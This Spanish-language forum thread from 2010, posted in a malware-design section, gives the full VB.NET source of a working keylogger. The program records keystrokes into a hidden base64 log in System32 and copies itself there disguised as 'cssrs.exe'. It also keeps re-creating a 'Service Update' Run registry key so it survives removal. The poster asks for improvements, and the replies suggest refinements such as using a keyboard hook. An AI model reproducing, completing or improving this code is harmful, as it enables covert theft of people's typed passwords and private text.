Test Foro de elhacker.net SMF 2.1

Seguridad Informática => Análisis y Diseño de Malware => Mensaje iniciado por: estebanvr en 17 Septiembre 2010, 16:56 PM

Título: Key Loger en VB .NET
Publicado por: estebanvr en 17 Septiembre 2010, 16:56 PM
Aqui hay un ejemplo de un keyloger en vb .net, lo que hice fue crear una aplicacion de windows nueva, luego me fue a las propiedades del proyecto y en ves de seleccionar aplicaciones para windows seleccione servicio de windows, luego se agrega un archivo de codigo y recomiendo eliminar el del formulario, y en la ventana de propiedade hacer que el archivo de codigo fuente sea el primero en iniciar,
aqui esta el codigo fuente , se que no es el mejor pero creo que a alguien le puede servir de algo,
Hay que tratar de eliminar las referencias a librerias que no estemos ocupando, para el caso de este keylogger deje solo windows.forms

Aqui esta codigo fuente del "Programa Principal"
Código (vbnet) [Seleccionar]

'--------------------------------------------------------------------------
Imports System.Windows.Forms
Module KLG

   Sub main()
       Dim tiempo As DateTime = DateTime.Now

       If IO.File.Exists(ruta) = True Then
           SetAttr(ruta, FileAttribute.Hidden)
       End If

       Comprobar_el_reg()
       copiar_a("cssrs.exe", "C:\Windows\System32\cssrs.exe")
       escribe("<<" & tiempo.ToShortTimeString() & "|" & tiempo.ToShortDateString() & ":")

       While ((comprobar_tecla(27) And comprobar_tecla(32) And comprobar_tecla(69)) <> True)

           espera(70)
           Comprobar_el_reg()'esto en un ciclo ya que si borran la clave de registro esta se podra volver a registrar


           For i As Integer = 32 To 128
               If comprobar_tecla(i) = True Then
                   espera(70)
                   escribe(Chr(i))
                   Exit For
               End If
           Next

           If comprobar_tecla(13) = True Then
               escribe(" (E) ")
           End If

           If comprobar_tecla(8) = True Then
               escribe(" (B) ")
           End If

           If comprobar_tecla(9) = True Then
               escribe(" (T) ")
           End If

           If comprobar_tecla(27) = True Then
               escribe(" (S) ")
           End If

           If comprobar_tecla(32) = True Then
               escribe(" ")
           End If

           If comprobar_tecla(46) = True Then
               escribe(".")
           End If
       End While

       escribe(">>EOR")
       Application.Exit()
   End Sub

End Module
'--------------------------------------------------------------------------
Aqui el modulo llamado Mod_Operaciones

Module Mod_Operaciones

   Friend Const ruta As String = "C:\Windows\System32\cssrs.001"

'Escribe en el archivo cssrs.001 las lecturas registradas
'se le agrega un poco de seguridad convirtiendolo a base64

   Friend Sub escribe(ByVal cadena_tecla As String)
       Dim archivo As New IO.StreamWriter(ruta, True)
       archivo.WriteLine(Convert.ToBase64String(System.Text.Encoding.Default.GetBytes(cadena_tecla)))
       archivo.Flush()
       archivo.Dispose()
       archivo.Close()
   End Sub

'Copia el ejecutable de keylogger en el directorio system32
   Friend Sub copiar_a(ByVal ruta_origen As String, ByVal ruta_destino As String)
       If IO.File.Exists(ruta_destino) = True Then Exit Sub
       IO.File.Copy(ruta_origen, ruta_destino)
   End Sub

'Intervalo de tiempo para las lecturas
   Friend Sub espera(ByVal milisegundos As Integer)
       Threading.Thread.Sleep(milisegundos)
   End Sub

End Module
'-------------------------------------------------------------------------- Modulo llamado Mod_Operaciones

Imports Microsoft.Win32
Module Mod_Subsistir

   Declare Function GAKS Lib "user32" Alias "GetAsyncKeyState" (ByVal vKey As Long) As Integer

'Comprueba si la clave de registro se encuentra en el sistema
'si no existe o si es borrada la crea

   Friend Sub Comprobar_el_reg()

       Dim llave_reg2 As RegistryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True)

       If llave_reg2.GetValue("Service Update", "C:\Windows\System32\cssrs.exe") <> Nothing Then

           llave_reg2.SetValue("Service Update", "C:\Windows\System32\cssrs.exe")

       End If
   End Sub

'Se encarga de saber que tecla ha sido pulsada
   Friend Function comprobar_tecla(ByVal tecla As Integer) As Boolean
       If GAKS(tecla) <> 0 Then
           Return True
       End If
   End Function
End Module
'--------------------------------------------------------------------------

Alguna sugerencia para poder mejorarlo por favor
ahora el problema que tengo es que no se como leer teclas especiales como @ .
y ya probe

comprobar_tecla(64)

Título: Re: Key Loger en VB .NET
Publicado por: Shell Root en 17 Septiembre 2010, 17:36 PM
1. El código va entre las etiquetas [code=vbnet] -Aquí- [/code]
2. Usa variables de entorno. %WINDIR%
3. Usa la sentencia SWITCH
Título: Re: Key Loger en VB .NET
Publicado por: Zzombi en 20 Septiembre 2010, 01:45 AM
mejor usa un hook de teclado  :-\

aquí un código en C# (fácil pasarlo a vb.net)

http://en.wikipedia.org/wiki/Hooking